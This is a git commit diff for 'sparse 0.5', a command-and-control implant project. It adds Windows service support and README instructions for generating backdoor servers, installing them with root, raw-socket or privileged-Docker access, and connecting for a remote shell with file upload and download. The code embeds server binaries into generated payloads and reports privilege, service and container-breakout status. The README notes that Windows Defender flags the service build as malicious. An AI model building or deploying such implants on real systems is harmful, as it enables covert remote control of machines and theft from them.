Cleaned up Windows server and added more docs

This commit is contained in:
Andrew Rioux
2024-01-25 16:53:05 -05:00
parent 28dd9f5138
commit 7390a2e3bf
11 changed files with 242 additions and 44 deletions

View File

@@ -17,4 +17,57 @@
# Sparse 0.5
Sparse 0.5 is a stopgap
Sparse 0.5 is a stopgap solution until the C2 framework itself is more mature. It has several improvements over the proof of concept version, to include:
- The client is no longer bound to the server, the configuration can be shared
- A richer CLI with Sparse specific commands such as #upload, #download, and #edit
- A Windows version using winpcap, with both standalone binary and service versions
# Obtaining
Currently, there are no prebuilt binaries. However, sparse can easily be built if the [Nix package manager](https://nixos.org/download) is installed. Just clone this repository and run `nix build .#sparse-05-client` and the client will be placed in `result/bin`.
# Use
Using sparse centers around the client. The client can generate new servers as well as the configuration file necessary to connect to the server, connect to a server for a shell, and verify the connection against a server.
## Generating a new server
Sparse supports 3 different targets:
- Linux
- Windows
- Windows service
The basics center around `sparse-05-client generate <name> [-p <port>] [-t <target>]`. This generates both a server and the configuration file necessary to connect to the server. The keys and port ensure that the connection is unique, which has the added property that multiple versions of `sparse-05` can be running on a target system with the same port.
If the port is not specified, it defaults to 54248.
### Linux
To install the Linux service, there are a few options:
- Run as root
- Run with CAP_NET_RAW and CAP_SETUID as a non-root user
- Run in a Docker container running as root on Linux with kernel version 5.13 or greater and the `--privileged` and `--pid=host` flags
### Windows
The Windows version requires an installation of winpcap 4.1, which can be downloaded from [their website](https://www.winpcap.org/install/default.htm).
As of Jan 25 2023, Windows Defender is suspicious of exe builds of the sparse server but only tries to submit samples and does not declare it malicious.
### Windows service
The Windows service has the same requirements, but can be installed with `sc create <service name> DisplayName= <service name> binPath= <service exe path>`.
As of Jan 25 2023, Windows Defender marks the Windows service binary as malicious
## Connect
After installing and running the server, it is possible to connect using the generated `scon` file and `sparse-05-client` with `sparse-05-client connect <name>.scon <service ip>:<service port>`.
This brings up a shell that can run commands. However, there are special commands that are injected:
- `#help`: shows sparse specific help
- `#sysinfo`: prints information about the system being connected to
- `#upload [local] [remote]`: uploads a file from the local path to the remote path

View File

@@ -13,14 +13,16 @@ pub fn print_capabilities(capabilities: &Capabilities, ip: &IpAddr) {
OperatingSystem::Windows => "Windows",
}
);
println!(
"\tInside a container: \t{}",
if capabilities.docker_container {
"yes"
} else {
"no"
}
);
if matches!(&capabilities.operating_system, OperatingSystem::Linux) {
println!(
"\tInside a container: \t{}",
if capabilities.docker_container {
"yes"
} else {
"no"
}
);
}
if capabilities.docker_container {
println!(
"\tContainer breakout: \t{}",

View File

@@ -18,6 +18,12 @@ pub const SPARSE_WINDOWS_SERVER_BINARY: &'static [u8] =
#[cfg(not(debug_assertions))]
pub const SPARSE_WINDOWS_SERVER_BINARY: &'static [u8] =
include_bytes!(std::env!("SPARSE_WINDOWS_SERVER"));
#[cfg(debug_assertions)]
pub const SPARSE_WINDOWS_SERVICE_BINARY: &'static [u8] =
include_bytes!("../../../../target/x86_64-pc-windows-gnu/debug/sparse-05-server.exe");
#[cfg(not(debug_assertions))]
pub const SPARSE_WINDOWS_SERVICE_BINARY: &'static [u8] =
include_bytes!(std::env!("SPARSE_WINDOWS_SERVICE"));
pub async fn generate(mut name: PathBuf, port: u16, target: TargetOs) -> anyhow::Result<()> {
let mut csprng = rand::thread_rng();
@@ -31,7 +37,7 @@ pub async fn generate(mut name: PathBuf, port: u16, target: TargetOs) -> anyhow:
let old_file_part = name.file_name().unwrap().to_owned();
if matches!(target, TargetOs::Windows) {
if matches!(target, TargetOs::Windows) || matches!(target, TargetOs::WindowsService) {
let mut file_part = name.file_name().unwrap().to_owned();
file_part.push(OsString::from(".exe"));
name.pop();
@@ -40,14 +46,15 @@ pub async fn generate(mut name: PathBuf, port: u16, target: TargetOs) -> anyhow:
let mut file = file.open(&name).await?;
if matches!(target, TargetOs::Windows) {
if matches!(target, TargetOs::Windows) || matches!(target, TargetOs::WindowsService) {
name.pop();
name.push(old_file_part);
}
file.write_all(match target {
TargetOs::Windows => SPARSE_WINDOWS_SERVER_BINARY,
TargetOs::Linux => SPARSE_LINUX_SERVER_BINARY,
TargetOs::Windows => SPARSE_WINDOWS_SERVER_BINARY,
TargetOs::WindowsService => SPARSE_WINDOWS_SERVICE_BINARY
})
.await?;
file.write_all(CONFIG_SEPARATOR).await?;

View File

@@ -17,6 +17,7 @@ fn to_socket_addr(src: &str) -> Result<SocketAddr, std::io::Error> {
pub enum TargetOs {
Linux,
Windows,
WindowsService,
}
impl std::str::FromStr for TargetOs {
@@ -25,6 +26,7 @@ impl std::str::FromStr for TargetOs {
match input {
"linux" => Ok(Self::Linux),
"windows" => Ok(Self::Windows),
"windows-service" => Ok(Self::WindowsService),
_ => Err("could not parse target operating system"),
}
}

View File

@@ -106,6 +106,7 @@ pub mod messages {
pub docker_breakout: bool,
pub setuid: bool,
pub root: bool,
pub service: bool,
pub userent: Option<String>,
pub transport: TransportType,
pub hostname: Option<String>,

View File

@@ -17,6 +17,7 @@ sparse-05-common = { version = "0.1.0", path = "../sparse-05-common" }
ecies-ed25519 = { version = "0.5.1", features = ["serde"] }
packets = { path = "../../packets" }
pcap-sys = { path = "../../pcap-sys", optional = true }
windows-service = { version = "0.6.0", optional = true }
[build-dependencies]
cc = "1.0"
@@ -25,4 +26,5 @@ cc = "1.0"
default = ["pcap"]
docker-breakout = []
exit = []
service = ["dep:windows-service"]
pcap = ["dep:pcap-sys"]

View File

@@ -11,6 +11,7 @@ pub struct SrvCapabilities {
pub docker_breakout: bool,
pub setuid: bool,
pub root: bool,
pub service: bool,
pub userent: Option<String>,
pub transport: TransportType,
pub hostname: Option<String>,
@@ -26,6 +27,7 @@ impl SrvCapabilities {
operating_system: self.operating_system.clone(),
root: self.root,
setuid: self.setuid,
service: self.service,
transport: self.transport,
userent: self.userent.clone(),
}
@@ -79,7 +81,7 @@ fn get_username(uid: u32) -> anyhow::Result<Option<String>> {
#[cfg(target_os = "windows")]
fn get_username(_uid: u32) -> anyhow::Result<Option<String>> {
Ok(std::env::var("USERPROFILE").ok())
Ok(std::env::var("USERNAME").ok())
}
#[cfg(target_os = "linux")]
@@ -125,6 +127,7 @@ fn get_current_capabilities() -> anyhow::Result<SrvCapabilities> {
docker_breakout,
setuid,
root,
service: false,
userent,
transport,
hostname,
@@ -134,20 +137,19 @@ fn get_current_capabilities() -> anyhow::Result<SrvCapabilities> {
#[cfg(target_os = "windows")]
fn get_current_capabilities() -> anyhow::Result<SrvCapabilities> {
let userent = get_username(0)?;
let hostname = std::env::var("COMPUTERNAME").ok();
let service_name = hostname.clone().map(|name| format!("{name}$"));
Ok(SrvCapabilities {
operating_system: OperatingSystem::Windows,
docker_container: false,
docker_breakout: false,
setuid: false,
service: userent.as_deref() == service_name.as_deref(),
root: userent.as_deref() == Some("Administrator"),
userent: userent.clone(),
transport: TransportType::RawUdp, /*if userent.as_deref() == Some("Administrator") {
TransportType::RawUdp
} else {
TransportType::Udp
},*/
hostname: None,
transport: TransportType::RawUdp,
hostname,
})
}

View File

@@ -2,7 +2,7 @@ use std::{
collections::HashMap,
net::Ipv4Addr,
sync::{mpsc::channel, Arc, Mutex},
thread,
thread, ffi::OsString,
};
use anyhow::{bail, Context};
@@ -18,7 +18,7 @@ mod capabilities;
mod connection;
mod interface;
fn main() -> anyhow::Result<()> {
fn main_to_run() -> anyhow::Result<()> {
simple_logger::SimpleLogger::new()
.with_level(log::LevelFilter::Off)
.with_module_level("sparse-05-server", log::LevelFilter::Debug)
@@ -119,3 +119,37 @@ fn main() -> anyhow::Result<()> {
Ok(())
}
#[cfg(unix)]
fn main() -> anyhow::Result<()> {
main_to_run()
}
#[cfg(all(windows, feature = "service"))]
fn main() -> Result<(), windows_service::Error> {
windows_main::actual_main_func()
}
#[cfg(all(windows, not(feature = "service")))]
fn main() -> anyhow::Result<()> {
main_to_run()
}
#[cfg(all(windows, feature = "service"))]
mod windows_main {
use std::ffi::OsString;
use windows_service::service::ServiceControl;
use windows_service::service_control_handler::{self, ServiceControlHandlerResult};
use windows_service::service_dispatcher;
fn main_wrapper(args: Vec<OsString>) {
super::main_to_run().expect("error running service");
}
windows_service::define_windows_service!(ffi_service_main, main_wrapper);
pub fn actual_main_func() -> Result<(), windows_service::Error> {
service_dispatcher::start("sparse", ffi_service_main)?;
Ok(())
}
}